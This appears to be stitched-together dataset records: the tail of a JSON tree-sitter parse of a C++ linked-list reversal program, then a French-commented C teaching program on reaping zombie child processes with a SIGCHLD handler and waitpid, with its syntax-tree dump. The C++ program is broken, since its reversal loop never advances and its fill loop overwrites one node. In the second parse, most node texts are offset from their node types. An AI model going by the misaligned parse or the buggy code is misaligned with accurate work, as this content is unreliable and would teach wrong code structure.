"text": "vector<int>::iterator it", "parent": 71, "children": [102, 106, 107, 109], "start_point": {"row": 24, "column": 4}, "end_point": {"row": 24, "column": 28}}, {"id": 102, "type": "binary_expression", "text": "vector<int", "parent": 101, "children": [103, 104, 105], "start_point": {"row": 24, "column": 4}, "end_point": {"row": 24, "column": 14}}, {"id": 103, "type": "identifier", "text": "vector", "parent": 102, "children": [], "start_point": {"row": 24, "column": 4}, "end_point": {"row": 24, "column": 10}}, {"id": 104, "type": "<", "text": "<", "parent": 102, "children": [], "start_point": {"row": 24, "column": 10}, "end_point": {"row": 24, "column": 11}}, {"id": 105, "type": "identifier", "text": "int", "parent": 102, "children": [], "start_point": {"row": 24, "column": 11}, "end_point": {"row": 24, "column": 14}}, {"id": 106, "type": ">", "text": ">", "parent": 101, "children": [], "start_point": {"row": 24, "column": 14}, "end_point": {"row": 24, "column": 15}}, {"id": 107, "type": "ERROR", "text": "::iterator", "parent": 101, "children": [108], "start_point": {"row": 24, "column": 15}, "end_point": {"row": 24, "column": 25}}, {"id": 108, "type": "identifier", "text": "iterator", "parent": 107, "children": [], "start_point": {"row": 24, "column": 17}, "end_point": {"row": 24, "column": 25}}, {"id": 109, "type": "identifier", "text": "it", "parent": 101, "children": [], "start_point": {"row": 24, "column": 26}, "end_point": {"row": 24, "column": 28}}, {"id": 110, "type": "declaration", "text": "ListNode *head = new ListNode();", "parent": 71, "children": [111, 112], "start_point": {"row": 25, "column": 4}, "end_point": {"row": 25, "column": 36}}, {"id": 111, "type": "type_identifier", "text": "ListNode", "parent": 110, "children": [], "start_point": {"row": 25, "column": 4}, "end_point": {"row": 25, "column": 12}}, {"id": 112, "type": "init_declarator", "text": "*head = new ListNode()", "parent": 110, "children": [113, 116, 117], "start_point": {"row": 25, "column": 13}, "end_point": {"row": 25, "column": 35}}, {"id": 113, "type": "pointer_declarator", "text": "*head", "parent": 112, "children": [114, 115], "start_point": {"row": 25, "column": 13}, "end_point": {"row": 25, "column": 18}}, {"id": 114, "type": "*", "text": "*", "parent": 113, "children": [], "start_point": {"row": 25, "column": 13}, "end_point": {"row": 25, "column": 14}}, {"id": 115, "type": "identifier", "text": "head", "parent": 113, "children": [], "start_point": {"row": 25, "column": 14}, "end_point": {"row": 25, "column": 18}}, {"id": 116, "type": "=", "text": "=", "parent": 112, "children": [], "start_point": {"row": 25, "column": 19}, "end_point": {"row": 25, "column": 20}}, {"id": 117, "type": "call_expression", "text": "ListNode()", "parent": 112, "children": [118, 119], "start_point": {"row": 25, "column": 25}, "end_point": {"row": 25, "column": 35}}, {"id": 118, "type": "identifier", "text": "ListNode", "parent": 117, "children": [], "start_point": {"row": 25, "column": 25}, "end_point": {"row": 25, "column": 33}}, {"id": 119, "type": "argument_list", "text": "()", "parent": 117, "children": [], "start_point": {"row": 25, "column": 33}, "end_point": {"row": 25, "column": 35}}, {"id": 120, "type": "for_statement", "text": "for(it=input1.begin();it!=input1.end();it++)\r\n {\r\n head->val=*it;\r\n }", "parent": 71, "children": [121, 128, 135], "start_point": {"row": 26, "column": 4}, "end_point": {"row": 29, "column": 5}}, {"id": 121, "type": "assignment_expression", "text": "it=input1.begin()", "parent": 120, "children": [122, 123, 124], "start_point": {"row": 26, "column": 8}, "end_point": {"row": 26, "column": 25}}, {"id": 122, "type": "identifier", "text": "it", "parent": 121, "children": [], "start_point": {"row": 26, "column": 8}, "end_point": {"row": 26, "column": 10}}, {"id": 123, "type": "=", "text": "=", "parent": 121, "children": [], "start_point": {"row": 26, "column": 10}, "end_point": {"row": 26, "column": 11}}, {"id": 124, "type": "call_expression", "text": "input1.begin()", "parent": 121, "children": [125, 127], "start_point": {"row": 26, "column": 11}, "end_point": {"row": 26, "column": 25}}, {"id": 125, "type": "field_expression", "text": "input1.begin", "parent": 124, "children": [126], "start_point": {"row": 26, "column": 11}, "end_point": {"row": 26, "column": 23}}, {"id": 126, "type": "identifier", "text": "input1", "parent": 125, "children": [], "start_point": {"row": 26, "column": 11}, "end_point": {"row": 26, "column": 17}}, {"id": 127, "type": "argument_list", "text": "()", "parent": 124, "children": [], "start_point": {"row": 26, "column": 23}, "end_point": {"row": 26, "column": 25}}, {"id": 128, "type": "binary_expression", "text": "it!=input1.end()", "parent": 120, "children": [129, 130, 131], "start_point": {"row": 26, "column": 26}, "end_point": {"row": 26, "column": 42}}, {"id": 129, "type": "identifier", "text": "it", "parent": 128, "children": [], "start_point": {"row": 26, "column": 26}, "end_point": {"row": 26, "column": 28}}, {"id": 130, "type": "!=", "text": "!=", "parent": 128, "children": [], "start_point": {"row": 26, "column": 28}, "end_point": {"row": 26, "column": 30}}, {"id": 131, "type": "call_expression", "text": "input1.end()", "parent": 128, "children": [132, 134], "start_point": {"row": 26, "column": 30}, "end_point": {"row": 26, "column": 42}}, {"id": 132, "type": "field_expression", "text": "input1.end", "parent": 131, "children": [133], "start_point": {"row": 26, "column": 30}, "end_point": {"row": 26, "column": 40}}, {"id": 133, "type": "identifier", "text": "input1", "parent": 132, "children": [], "start_point": {"row": 26, "column": 30}, "end_point": {"row": 26, "column": 36}}, {"id": 134, "type": "argument_list", "text": "()", "parent": 131, "children": [], "start_point": {"row": 26, "column": 40}, "end_point": {"row": 26, "column": 42}}, {"id": 135, "type": "update_expression", "text": "it++", "parent": 120, "children": [136, 137], "start_point": {"row": 26, "column": 43}, "end_point": {"row": 26, "column": 47}}, {"id": 136, "type": "identifier", "text": "it", "parent": 135, "children": [], "start_point": {"row": 26, "column": 43}, "end_point": {"row": 26, "column": 45}}, {"id": 137, "type": "++", "text": "++", "parent": 135, "children": [], "start_point": {"row": 26, "column": 45}, "end_point": {"row": 26, "column": 47}}, {"id": 138, "type": "assignment_expression", "text": "head->val=*it", "parent": 120, "children": [139, 142, 143], "start_point": {"row": 28, "column": 8}, "end_point": {"row": 28, "column": 21}}, {"id": 139, "type": "field_expression", "text": "head->val", "parent": 138, "children": [140, 141], "start_point": {"row": 28, "column": 8}, "end_point": {"row": 28, "column": 17}}, {"id": 140, "type": "identifier", "text": "head", "parent": 139, "children": [], "start_point": {"row": 28, "column": 8}, "end_point": {"row": 28, "column": 12}}, {"id": 141, "type": "field_identifier", "text": "val", "parent": 139, "children": [], "start_point": {"row": 28, "column": 14}, "end_point": {"row": 28, "column": 17}}, {"id": 142, "type": "=", "text": "=", "parent": 138, "children": [], "start_point": {"row": 28, "column": 17}, "end_point": {"row": 28, "column": 18}}, {"id": 143, "type": "pointer_expression", "text": "*it", "parent": 138, "children": [144, 145], "start_point": {"row": 28, "column": 18}, "end_point": {"row": 28, "column": 21}}, {"id": 144, "type": "*", "text": "*", "parent": 143, "children": [], "start_point": {"row": 28, "column": 18}, "end_point": {"row": 28, "column": 19}}, {"id": 145, "type": "identifier", "text": "it", "parent": 143, "children": [], "start_point": {"row": 28, "column": 19}, "end_point": {"row": 28, "column": 21}}, {"id": 146, "type": "assignment_expression", "text": "output1=ListReverse(head)", "parent": 71, "children": [147, 148, 149], "start_point": {"row": 30, "column": 4}, "end_point": {"row": 30, "column": 29}}, {"id": 147, "type": "identifier", "text": "output1", "parent": 146, "children": [], "start_point": {"row": 30, "column": 4}, "end_point": {"row": 30, "column": 11}}, {"id": 148, "type": "=", "text": "=", "parent": 146, "children": [], "start_point": {"row": 30, "column": 11}, "end_point": {"row": 30, "column": 12}}, {"id": 149, "type": "call_expression", "text": "ListReverse(head)", "parent": 146, "children": [150, 151], "start_point": {"row": 30, "column": 12}, "end_point": {"row": 30, "column": 29}}, {"id": 150, "type": "identifier", "text": "ListReverse", "parent": 149, "children": [], "start_point": {"row": 30, "column": 12}, "end_point": {"row": 30, "column": 23}}, {"id": 151, "type": "argument_list", "text": "(head)", "parent": 149, "children": [152], "start_point": {"row": 30, "column": 23}, "end_point": {"row": 30, "column": 29}}, {"id": 152, "type": "identifier", "text": "head", "parent": 151, "children": [], "start_point": {"row": 30, "column": 24}, "end_point": {"row": 30, "column": 28}}, {"id": 153, "type": "ERROR", "text": "for(auto val:output1)\r\n cout<<val<<\" \";\r\n return 0;", "parent": 71, "children": [154, 164, 165], "start_point": {"row": 31, "column": 4}, "end_point": {"row": 33, "column": 13}}, {"id": 154, "type": "ERROR", "text": "auto val:output1)\r\n cout<<val<<", "parent": 153, "children": [155, 157, 158, 162, 163], "start_point": {"row": 31, "column": 8}, "end_point": {"row": 32, "column": 19}}, {"id": 155, "type": "storage_class_specifier", "text": "auto", "parent": 154, "children": [156], "start_point": {"row": 31, "column": 8}, "end_point": {"row": 31, "column": 12}}, {"id": 156, "type": "auto", "text": "auto", "parent": 155, "children": [], "start_point": {"row": 31, "column": 8}, "end_point": {"row": 31, "column": 12}}, {"id": 157, "type": "type_identifier", "text": "val", "parent": 154, "children": [], "start_point": {"row": 31, "column": 13}, "end_point": {"row": 31, "column": 16}}, {"id": 158, "type": "ERROR", "text": ":output1)\r\n cout<<", "parent": 154, "children": [159, 160, 161], "start_point": {"row": 31, "column": 16}, "end_point": {"row": 32, "column": 14}}, {"id": 159, "type": "identifier", "text": "output1", "parent": 158, "children": [], "start_point": {"row": 31, "column": 17}, "end_point": {"row": 31, "column": 24}}, {"id": 160, "type": "identifier", "text": "cout", "parent": 158, "children": [], "start_point": {"row": 32, "column": 8}, "end_point": {"row": 32, "column": 12}}, {"id": 161, "type": "<<", "text": "<<", "parent": 158, "children": [], "start_point": {"row": 32, "column": 12}, "end_point": {"row": 32, "column": 14}}, {"id": 162, "type": "identifier", "text": "val", "parent": 154, "children": [], "start_point": {"row": 32, "column": 14}, "end_point": {"row": 32, "column": 17}}, {"id": 163, "type": "<<", "text": "<<", "parent": 154, "children": [], "start_point": {"row": 32, "column": 17}, "end_point": {"row": 32, "column": 19}}, {"id": 164, "type": "string_literal", "text": "\" \"", "parent": 153, "children": [], "start_point": {"row": 32, "column": 19}, "end_point": {"row": 32, "column": 22}}, {"id": 165, "type": "ERROR", "text": "0", "parent": 153, "children": [166], "start_point": {"row": 33, "column": 11}, "end_point": {"row": 33, "column": 12}}, {"id": 166, "type": "number_literal", "text": "0", "parent": 165, "children": [], "start_point": {"row": 33, "column": 11}, "end_point": {"row": 33, "column": 12}}]}, "node_categories": {"declarations": {"functions": [71, 73], "variables": [6, 14, 17, 110], "classes": [11, 12, 155], "imports": [0, 1, 3, 4], "modules": [], "enums": []}, "statements": {"expressions": [23, 24, 29, 32, 36, 37, 44, 45, 50, 51, 55, 58, 61, 62, 65, 66, 76, 77, 78, 87, 89, 91, 94, 95, 101, 102, 117, 124, 125, 128, 131, 132, 135, 139, 143, 149], "assignments": [83, 121, 138, 146], "loops": [43, 120], "conditionals": [7, 8, 10, 13, 16, 18, 21, 25, 27, 30, 33, 35, 38, 40, 42, 46, 52, 53, 56, 57, 59, 63, 67, 70, 74, 79, 81, 84, 96, 98, 100, 103, 105, 108, 109, 111, 115, 118, 122, 126, 129, 133, 136, 140, 141, 145, 147, 150, 152, 157, 159, 160, 162], "returns": [69], "exceptions": []}, "expressions": {"calls": [], "literals": [2, 5, 86, 88, 90, 92, 93, 164, 166], "identifiers": [], "binary_operations": [], "unary_operations": [], "member_access": []}}, "cross_language_map": {"function_declarations": [{"node_id": 71, "universal_type": "function", "name": "main", "text_snippet": "int main()\r\n{\r\n vector<int> input1={1,3,5,7,9};\r\n vector<int> output1;\r\n vector<int>::itera"}, {"node_id": 73, "universal_type": "function", "name": "unknown", "text_snippet": "main()"}], "class_declarations": [{"node_id": 11, "universal_type": "class", "name": "ListNode", "text_snippet": "struct ListNode\r\n{\r\n int val;\r\n ListNode *next;\r\n}"}, {"node_id": 12, "universal_type": "class", "name": "unknown", "text_snippet": "struct"}, {"node_id": 155, "universal_type": "class", "name": "unknown", "text_snippet": "auto"}], "import_statements": [{"node_id": 0, "text": "#include<iostream>\r\n"}, {"node_id": 1, "text": "#include"}, {"node_id": 3, "text": "#include<vector>\r\n"}, {"node_id": 4, "text": "#include"}]}, "original_source_code": "#include<iostream>\r\n#include<vector>\r\nusing namespace std;\r\nstruct ListNode\r\n{\r\n int val;\r\n ListNode *next;\r\n};\r\nvector<int> ListReverse(ListNode *head)\r\n{\r\n vector<int> input1;\r\n\r\n while(head!=NULL)\r\n {\r\n input1.push_back(head->val);\r\n\r\n }\r\n reverse(input1.begin(),input1.end());\r\n return input1;\r\n}\r\nint main()\r\n{\r\n vector<int> input1={1,3,5,7,9};\r\n vector<int> output1;\r\n vector<int>::iterator it;\r\n ListNode *head = new ListNode();\r\n for(it=input1.begin();it!=input1.end();it++)\r\n {\r\n head->val=*it;\r\n }\r\n output1=ListReverse(head);\r\n for(auto val:output1)\r\n cout<<val<<\" \";\r\n return 0;\r\n}\r\n"}
81,196
c
#include <stdlib.h> #include <stdio.h> #include <unistd.h> #include <pthread.h> #include <sys/types.h> #include <sys/syscall.h> #include <sys/wait.h> /* Ce programme permet de comprendre comment gérer les "zombies" * Zombie = programme mort dont le père n'a pas été mis au courant de son décès. */ void handler(int signal){ /* La fonction waitpid(pid_t pid, int *status, int options) * suspend l'exécution du processus courant jusqu'à ce * que le processus fils correspondant au pid se termine, * ou jusqu'à ce qu'un signal à intercepter arrive. * * Arguments : * pid : le pid du fils, ici -1 signifie n'importe quel fils * status : sert à stocker les infos sur la terminaison du fils, ici NULL on s'en fout * options : WHNOHANG permet à la fonction de ne pas être bloquante * * Return : * waitpid renvoie un entier > 0 si on a bien tué le fils */ while (waitpid(-1, NULL, WNOHANG) > 0); } int get_one_letter(void){ int c, first; first = c = getchar(); while(c != '\n' && c != EOF){ c = getchar(); } return(first); } int main(){ int x; char c; /* On crée une variable qui va nous permettre de traiter les signaux */ struct sigaction sa; /* On définit la fonction à appeler en cas de signal reçu */ sa.sa_handler = handler; /* On ajoute notre masque au masque déjà existant. */ sigemptyset(&sa.sa_mask); /* On réactive certaines fonctions de lecture/écritures qui sont * habituellement désactivées lorsqu'un signal est traité. */ sa.sa_flags = SA_RESTART; /* On ajoute une réaction au signal numéro 17 (qui correspond au signal SIGCHLD, soit la mort d'un fils). * On a accès aux numéros des signaux via la commande "kill -l" dans le bash. */ sigaction(17, &sa, NULL); /* C'est un serveur, le processus de base doit toujours être actif. * Lorsqu'un utilisateur envoie une demande, elle est traitée dans * un fils qui mourra lorsque la demande sera traitée. */ while(1) { printf("Rentrez un char :\n"); /* Bloquant jusqu'à ce qu'un utilisateur rentre un char */ c = get_one_letter(); /* L'utilisateur a envoyé une requete en rentrant un char, * il faut la traiter, du coup on fork pour créer un fils. */ x = fork(); /* Erreur */ if(x == -1){ perror("Erreur\n"); exit(1); } /* Fils */ if(x == 0){ /* Le fils traite la demande, et meurt. */ printf("Demande traitée : Char = %d\n", c); exit(1); } /* Père */ if(x > 0){ /* Le père boucle simplement et attend la prochaine requete * de l'utilisateur (ici, le prochain char). */ } } return EXIT_SUCCESS; } /* Le fils, en mourrant, envoie un signal SIGCHLD au père. * Ce signal n'est pas traité par défaut, il faut donc le traiter soit même. * On a définit à la ligne 36 que lorsque l'on recevait le signal numéro 17 (soit SIGCHLD) * le programme doit executer instantanément la fonction handler(). * La fonction handler gère le problème du fils en le tuant vraiment grâce à la fonction waitpid(). */
31.35
93
(translation_unit) "#include <stdlib.h>\n#include <stdio.h>\n#include <unistd.h>\n#include <pthread.h>\n#include <sys/types.h>\n#include <sys/syscall.h>\n#include <sys/wait.h>\n\n/* Ce programme permet de comprendre comment gérer les "zombies"\n * Zombie = programme mort dont le père n'a pas été mis au courant de son décès.\n*/\n\nvoid handler(int signal){\n /* La fonction waitpid(pid_t pid, int *status, int options) \n * suspend l'exécution du processus courant jusqu'à ce \n * que le processus fils correspondant au pid se termine, \n * ou jusqu'à ce qu'un signal à intercepter arrive.\n *\n * Arguments :\n * pid : le pid du fils, ici -1 signifie n'importe quel fils\n * status : sert à stocker les infos sur la terminaison du fils, ici NULL on s'en fout\n * options : WHNOHANG permet à la fonction de ne pas être bloquante\n *\n * Return : \n * waitpid renvoie un entier > 0 si on a bien tué le fils\n */\n while (waitpid(-1, NULL, WNOHANG) > 0);\n}\n\nint get_one_letter(void){\n int c, first;\n first = c = getchar();\n while(c != '\n' && c != EOF){\n c = getchar();\n }\n return(first);\n}\n\nint main(){\n int x;\n char c;\n\n /* On crée une variable qui va nous permettre de traiter les signaux */\n struct sigaction sa; \n\n /* On définit la fonction à appeler en cas de signal reçu */\n sa.sa_handler = handler; \n\n /* On ajoute notre masque au masque déjà existant. */\n sigemptyset(&sa.sa_mask); \n\n /* On réactive certaines fonctions de lecture/écritures qui sont \n * habituellement désactivées lorsqu'un signal est traité. \n */\n sa.sa_flags = SA_RESTART; \n\n /* On ajoute une réaction au signal numéro 17 (qui correspond au signal SIGCHLD, soit la mort d'un fils).\n * On a accès aux numéros des signaux via la commande "kill -l" dans le bash.\n */\n sigaction(17, &sa, NULL);\n \n /* C'est un serveur, le processus de base doit toujours être actif.\n * Lorsqu'un utilisateur envoie une demande, elle est traitée dans \n * un fils qui mourra lorsque la demande sera traitée.\n */\n while(1) {\n printf("Rentrez un char :\n");\n\n /* Bloquant jusqu'à ce qu'un utilisateur rentre un char */\n c = get_one_letter(); \n\n /* L'utilisateur a envoyé une requete en rentrant un char, \n * il faut la traiter, du coup on fork pour créer un fils.\n */\n x = fork(); \n \n /* Erreur */\n if(x == -1){\n perror("Erreur\n");\n exit(1);\n }\n \n /* Fils */\n if(x == 0){ \n /* Le fils traite la demande, et meurt. */\n printf("Demande traitée : Char = %d\n", c); \n exit(1);\n }\n \n /* Père */\n if(x > 0){ \n /* Le père boucle simplement et attend la prochaine requete \n * de l'utilisateur (ici, le prochain char).\n */\n }\n }\n\n return EXIT_SUCCESS;\n}\n\n/* Le fils, en mourrant, envoie un signal SIGCHLD au père. \n * Ce signal n'est pas traité par défaut, il faut donc le traiter soit même. \n * On a définit à la ligne 36 que lorsque l'on recevait le signal numéro 17 (soit SIGCHLD)\n * le programme doit executer instantanément la fonction handler().\n * La fonction handler gère le problème du fils en le tuant vraiment grâce à la fonction waitpid().\n*/" (preproc_include) "#include <stdlib.h>\n" (#include) "#include" (system_lib_string) "<stdlib.h>" (preproc_include) "#include <stdio.h>\n" (#include) "#include" (system_lib_string) "<stdio.h>" (preproc_include) "#include <unistd.h>\n" (#include) "#include" (system_lib_string) "<unistd.h>" (preproc_include) "#include <pthread.h>\n" (#include) "#include" (system_lib_string) "<pthread.h>" (preproc_include) "#include <sys/types.h>\n" (#include) "#include" (system_lib_string) "<sys/types.h>" (preproc_include) "#include <sys/syscall.h>\n" (#include) "#include" (system_lib_string) "<sys/syscall.h>" (preproc_include) "#include <sys/wait.h>\n" (#include) "#include" (system_lib_string) "<sys/wait.h>" (comment) "/* Ce programme permet de comprendre comment gérer les "zombies"\n * Zombie = programme mort dont le père n'a pas été mis au courant de son décès.\n*/\n\nvoid" (function_definition) "andler(int signal){\n /* La fonction waitpid(pid_t pid, int *status, int options) \n * suspend l'exécution du processus courant jusqu'à ce \n * que le processus fils correspondant au pid se termine, \n * ou jusqu'à ce qu'un signal à intercepter arrive.\n *\n * Arguments :\n * pid : le pid du fils, ici -1 signifie n'importe quel fils\n * status : sert à stocker les infos sur la terminaison du fils, ici NULL on s'en fout\n * options : WHNOHANG permet à la fonction de ne pas être bloquante\n *\n * Return : \n * waitpid renvoie un entier > 0 si on a bien tué le fils\n */\n while (waitpid(-1, NULL, WNOHANG) > 0);\n}\n\nint get_one_" (primitive_type) "andl" (function_declarator) "r(int signal){\n /* " (identifier) "r(int s" (parameter_list) "ignal){\n /* " (() "i" (parameter_declaration) "gnal){\n /*" (primitive_type) "gna" (identifier) "){\n /*" ()) " " (compound_statement) "La fonction waitpid(pid_t pid, int *status, int options) \n * suspend l'exécution du processus courant jusqu'à ce \n * que le processus fils correspondant au pid se termine, \n * ou jusqu'à ce qu'un signal à intercepter arrive.\n *\n * Arguments :\n * pid : le pid du fils, ici -1 signifie n'importe quel fils\n * status : sert à stocker les infos sur la terminaison du fils, ici NULL on s'en fout\n * options : WHNOHANG permet à la fonction de ne pas être bloquante\n *\n * Return : \n * waitpid renvoie un entier > 0 si on a bien tué le fils\n */\n while (waitpid(-1, NULL, WNOHANG) > 0);\n}\n\nint get_one_" ({) "L" (comment) " fonction waitpid(pid_t pid, int *status, int options) \n * suspend l'exécution du processus courant jusqu'à ce \n * que le processus fils correspondant au pid se termine, \n * ou jusqu'à ce qu'un signal à intercepter arrive.\n *\n * Arguments :\n * pid : le pid du fils, ici -1 signifie n'importe quel fils\n * status : sert à stocker les infos sur la terminaison du fils, ici NULL on s'en fout\n * options : WHNOHANG permet à la fonction de ne pas être bloquante\n *\n * Return : \n * waitpid renvoie un entier > 0 si on a bien tué le fils\n */\n while (waitp" (while_statement) "(-1, NULL, WNOHANG) > 0);\n}\n\nint get_on" (while) "(-1, " (parenthesized_expression) "ULL, WNOHANG) > 0);\n}\n\nint get_o" (() "U" (binary_expression) "LL, WNOHANG) > 0);\n}\n\nint get_" (call_expression) "LL, WNOHANG) > 0);\n}\n\nint " (identifier) "LL, WNO" (argument_list) "HANG) > 0);\n}\n\nint " (() "H" (number_literal) "AN" (,) "G" (null) " > 0" (NULL) " > 0" (,) ")" (identifier) "\n}\n\nint" ()) " " (>) "e" (number_literal) "_" ()) "o" (expression_statement) "n" (;) "n" (}) "_" (function_definition) "tter(void){\n int c, first;\n first = c = getchar();\n while(c != '\n' && c != EOF){\n c = getchar();\n }\n return(first);\n}\n\nint main(){\n" (primitive_type) "tte" (function_declarator) "(void){\n int c, firs" (identifier) "(void){\n int c" (parameter_list) ", firs" (() "," (parameter_declaration) " fir" (primitive_type) " fir" ()) "s" (compound_statement) "t;\n first = c = getchar();\n while(c != '\n' && c != EOF){\n c = getchar();\n }\n return(first);\n}\n\nint main(){\n" ({) "t" (declaration) " first = c = " (primitive_type) " fi" (identifier) "s" (,) "t" (identifier) "= c =" (;) " " (expression_statement) "tchar();\n while(c != '" (assignment_expression) "tchar();\n while(c != " (identifier) "tchar" (=) ")" (assignment_expression) "\n while(c != " (identifier) "\n" (=) "w" (call_expression) "ile(c != " (identifier) "ile(c !" (argument_list) "= " (() "=" ()) " " (;) "'" (while_statement) "' && c != EOF){\n c = getchar();\n }\n return(first" (while) "' && " (parenthesized_expression) "c != EOF){\n c = getcha" (() "c" (binary_expression) " != EOF){\n c = getch" (binary_expression) " != EOF){" (identifier) " " (!=) "= " (char_literal) "OF){" (') "O" (escape_sequence) "F)" (') "{" (&&) " " (binary_expression) " = getch" (identifier) " " (!=) " g" (identifier) "tch" ()) "a" (compound_statement) "r();\n }\n return(first" ({) "r" (expression_statement) "\n }\n return(fi" (assignment_expression) "\n }\n return(f" (identifier) "\n" (=) "}" (call_expression) " return(f" (identifier) " return" (argument_list) "(f" (() "(" ()) "f" (;) "i" (}) "t" (return_statement) "\n}\n\nint main()" (return) "\n}\n\nin" (parenthesized_expression) "t main(" (() "t" (identifier) " main" ()) "(" (;) ")" (}) "\n" (function_definition) "nt x;\n char c;\n\n /* On crée une variable qui va nous permettre de traiter les signaux */\n struct sigaction sa; \n\n /* On définit la fonction à appeler en cas de signal reçu */\n sa.sa_handler = handler; \n\n /* On ajoute notre masque au masque déjà existant. */\n sigemptyset(&sa.sa_mask); \n\n /* On réactive certaines fonctions de lecture/écritures qui sont \n * habituellement désactivées lorsqu'un signal est traité. \n */\n sa.sa_flags = SA_RESTART; \n\n /* On ajoute une réaction au signal numéro 17 (qui correspond au signal SIGCHLD, soit la mort d'un fils).\n * On a accès aux numéros des signaux via la commande "kill -l" dans le bash.\n */\n sigaction(17, &sa, NULL);\n \n /* C'est un serveur, le processus de base doit toujours être actif.\n * Lorsqu'un utilisateur envoie une demande, elle est traitée dans \n * un fils qui mourra lorsque la demande sera traitée.\n */\n while(1) {\n printf("Rentrez un char :\n");\n\n /* Bloquant jusqu'à ce qu'un utilisateur rentre un char */\n c = get_one_letter(); \n\n /* L'utilisateur a envoyé une requete en rentrant un char, \n * il faut la traiter, du coup on fork pour créer un fils.\n */\n x = fork(); \n \n /* Erreur */\n if(x == -1){\n perror("Erreur\n");\n exit(1);\n }\n \n /* Fils */\n if(x == 0){ \n /* Le fils traite la demande, et meurt. */\n printf("Demande traitée : Char = %d\n", c); \n exit(1);\n }\n \n /* Père */\n if(x > 0){ \n /* Le père boucle simplement et attend la prochaine requete \n * de l'utilisateur (ici, le prochain char).\n */\n }\n }\n\n return EXIT_SUCCESS;\n}\n\n/* Le fils, en mourrant, envoie un s" (primitive_type) "nt " (function_declarator) ";\n cha" (identifier) ";\n c" (parameter_list) "ha" (() "h" ()) "a" (compound_statement) "r c;\n\n /* On crée une variable qui va nous permettre de traiter les signaux */\n struct sigaction sa; \n\n /* On définit la fonction à appeler en cas de signal reçu */\n sa.sa_handler = handler; \n\n /* On ajoute notre masque au masque déjà existant. */\n sigemptyset(&sa.sa_mask); \n\n /* On réactive certaines fonctions de lecture/écritures qui sont \n * habituellement désactivées lorsqu'un signal est traité. \n */\n sa.sa_flags = SA_RESTART; \n\n /* On ajoute une réaction au signal numéro 17 (qui correspond au signal SIGCHLD, soit la mort d'un fils).\n * On a accès aux numéros des signaux via la commande "kill -l" dans le bash.\n */\n sigaction(17, &sa, NULL);\n \n /* C'est un serveur, le processus de base doit toujours être actif.\n * Lorsqu'un utilisateur envoie une demande, elle est traitée dans \n * un fils qui mourra lorsque la demande sera traitée.\n */\n while(1) {\n printf("Rentrez un char :\n");\n\n /* Bloquant jusqu'à ce qu'un utilisateur rentre un char */\n c = get_one_letter(); \n\n /* L'utilisateur a envoyé une requete en rentrant un char, \n * il faut la traiter, du coup on fork pour créer un fils.\n */\n x = fork(); \n \n /* Erreur */\n if(x == -1){\n perror("Erreur\n");\n exit(1);\n }\n \n /* Fils */\n if(x == 0){ \n /* Le fils traite la demande, et meurt. */\n printf("Demande traitée : Char = %d\n", c); \n exit(1);\n }\n \n /* Père */\n if(x > 0){ \n /* Le père boucle simplement et attend la prochaine requete \n * de l'utilisateur (ici, le prochain char).\n */\n }\n }\n\n return EXIT_SUCCESS;\n}\n\n/* Le fils, en mourrant, envoie un s" ({) "r" (declaration) ";\n\n /*" (primitive_type) ";\n\n" (identifier) "/" (;) "*" (declaration) "n crée " (primitive_type) "n cr" (identifier) "e" (;) " " (comment) " variable qui va nous permettre de traiter les signaux */\n struct sigact" (declaration) "n sa; \n\n /* On défin" (struct_specifier) "n sa; \n\n /* On d" (struct) "n sa; " (type_identifier) "\n /* On d" (identifier) "fi" (;) "n" (comment) "a fonction à appeler en cas de signal reçu */\n sa.sa_handler = " (expression_statement) "ndler; \n\n /* On ajoute n" (assignment_expression) "ndler; \n\n /* On ajoute " (field_expression) "ndler; \n\n /* " (identifier) "nd" (.) "l" (field_identifier) "er; \n\n /* " (=) "n" (identifier) "ajoute " (;) "n" (comment) " masque au masque déjà existant. */\n sigemptyset(&sa.sa" (expression_statement) "ask); \n\n /* On réactive c" (call_expression) "ask); \n\n /* On réactive " (identifier) "ask); \n\n /*" (argument_list) " On réactive " (() " " (pointer_expression) "On réactive" (&) "O" (field_expression) "n réactive" (identifier) "n " (.) "r" (field_identifier) "éactive" ()) " " (;) "c" (comment) "ines fonctions de lecture/écritures qui sont \n * habituellement désactivées lorsqu'un signal est traité. \n */\n sa.sa_flags = SA_RESTAR" (expression_statement) " \n\n /* On ajoute une réac" (assignment_expression) " \n\n /* On ajoute une réa" (field_expression) " \n\n /* On a" (identifier) " \n" (.) "\n" (field_identifier) " /* On a" (=) "o" (identifier) "te une réa" (;) "c" (comment) " au signal numéro 17 (qui correspond au signal SIGCHLD, soit la mort d'un fils).\n * On a accès aux numéros des signaux via la commande "kill -l" dans le bash.\n */\n sigaction(17, &sa, NULL);\n " (expression_statement) " /* C'est un serveur, le " (call_expression) " /* C'est un serveur, le" (identifier) " /* C'est" (argument_list) " un serveur, le" (() " " (number_literal) "un" (,) " " (pointer_expression) "erv" (&) "e" (identifier) "rv" (,) "e" (null) "r, l" (NULL) "r, l" ()) "e" (;) " " (comment) "ssus de base doit toujours être actif.\n * Lorsqu'un utilisateur envoie une demande, elle est traitée dans \n * un fils qui mourra lorsque la demande sera traitée.\n */\n while(1) {\n printf("Rentrez u" (while_statement) "char :\n");\n\n /* Bloquant jusqu'à ce qu'un utilisateur rentre un char */\n c = get_one_letter(); \n\n /* L'utilisateur a envoyé une requete en rentrant un char, \n * il faut la traiter, du coup on fork pour créer un fils.\n */\n x = fork(); \n \n /* Erreur */\n if(x == -1){\n perror("Erreur\n");\n exit(1);\n }\n \n /* Fils */\n if(x == 0){ \n /* Le fils traite la demande, et meurt. */\n printf("Demande traitée : Char = %d\n", c); \n exit(1);\n }\n \n /* Père */\n if(x > 0){ \n /* Le père boucle simplement et attend la prochaine requete \n * de l'utilisateur (ici, le prochain char).\n */\n }\n }\n\n return EXIT_SUCCESS;\n}\n\n/* Le fils," (while) "char " (parenthesized_expression) ":\n" (() ":" (number_literal) "\" ()) "n" (compound_statement) ");\n\n /* Bloquant jusqu'à ce qu'un utilisateur rentre un char */\n c = get_one_letter(); \n\n /* L'utilisateur a envoyé une requete en rentrant un char, \n * il faut la traiter, du coup on fork pour créer un fils.\n */\n x = fork(); \n \n /* Erreur */\n if(x == -1){\n perror("Erreur\n");\n exit(1);\n }\n \n /* Fils */\n if(x == 0){ \n /* Le fils traite la demande, et meurt. */\n printf("Demande traitée : Char = %d\n", c); \n exit(1);\n }\n \n /* Père */\n if(x > 0){ \n /* Le père boucle simplement et attend la prochaine requete \n * de l'utilisateur (ici, le prochain char).\n */\n }\n }\n\n return EXIT_SUCCESS;\n}\n\n/* Le fils," ({) ")" (expression_statement) " /* Bloquant jusqu'à ce qu'un" (call_expression) " /* Bloquant jusqu'à ce qu'u" (identifier) " /* B" 